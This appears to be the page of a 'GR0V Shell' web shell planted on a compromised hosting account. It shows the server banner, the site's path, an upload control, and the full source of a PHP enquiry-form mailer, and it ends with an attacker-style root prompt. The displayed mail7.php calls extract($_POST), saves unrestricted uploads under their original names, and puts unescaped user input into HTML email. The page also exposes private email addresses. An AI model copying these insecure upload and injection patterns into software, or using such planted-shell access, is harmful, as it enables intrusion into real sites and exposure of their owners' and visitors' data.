? GR0V Shell

GR0V shell

Linux node1.dnscloudserver.in 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64

Path : /home/yogsadhna/public_html/
File Upload :
Current File : /home/yogsadhna/public_html/mail7.php

<?  
//include("conn.php");
include("class.phpmailer.php");
extract($_POST);

extract($_POST);
 $file = $_FILES["file"]["name"];

 
move_uploaded_file($_FILES["file"]["tmp_name"],"uploads/". $_FILES["file"]["name"]);


$name=$_POST['name'];
$companyname=$_POST['address'];

$mobile=$_POST['mobile'];
//$product=$_POST['product'];
$email=$_POST['email'];

//$marketing=$_POST['marketing'];

$comments=$_POST['comments'];



//echo $name,$emailid,$textarea;




$mail = new PHPMailer();
		//$mail->From = "Agus";
		$mail->FromName = ("Yog-sadhna Enquiry Form");
		//$mail->FromName = "Agus";	
			$mail->AddAddress("amit.sbami@gmail.com");	
		//$mail->AddAddress("mail@gmail.com");
		//$mail->AddCC("cuteraj111@gmail.com");
		$mail->AddBCC("anant299@gmail.com");	
		$mail->WordWrap = 50;                           
		$mail->IsHTML(true);  		
		$mail->AddAttachment("uploads"."/".$file);
		$mail->Subject = "Enquiry Form";
   $mail->Body="<style type='text/css'>
<!--
body {
	background-color: #ffffff;
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
}
.introtext {

	font-family: Tahoma;
	font-size: 11px;
	color: #666666;
}
-->
</style>
<table width='100%'  border='1' align='center' cellpadding='0' cellspacing='0'>

  <tr>
    <td width='50%' valign='top' class='introtext'>Name:</td>
    <br>
    <td width='50%'>".$name."</td>
  </tr>
  <tr>
    <td width='50%' valign='top' class='introtext'>Address:</td>
    <br>
    <td width='50%'>".$address."</td>
  </tr>
  

  <tr>
    <td width='50%' valign='top' class='introtext'>mobile:</td> <br>
    <td width='50%'>".$mobile."</td>
  </tr>
     <tr>
    <td width='50%' valign='top' class='introtext'>Email:</td> <br>
    <td width='50%'>".$email."</td>
  </tr>
 
 
  
 
  <tr>
    <td width='50%' valign='top' class='introtext'>Comments</td> <br>
    <td width='50%'>".$comments."</td>
	
  </tr>



  
 </table>";
 if(!$mail->Send())
		   {
		   echo "Message could not be sent. <p>";
		   echo "Mailer Error: " . $mail->ErrorInfo;
		   //exit;
		  }	
		  else
		  {
		//  echo "Mail  sent";
		   header("location:thankyou-request.php");
		  //echo "<meta http-equiv='Refresh' Content='0 URL=thankyou.php'>";
		  }




 ?>



T1KUS90T
  root-grov@65.21.25.53:~$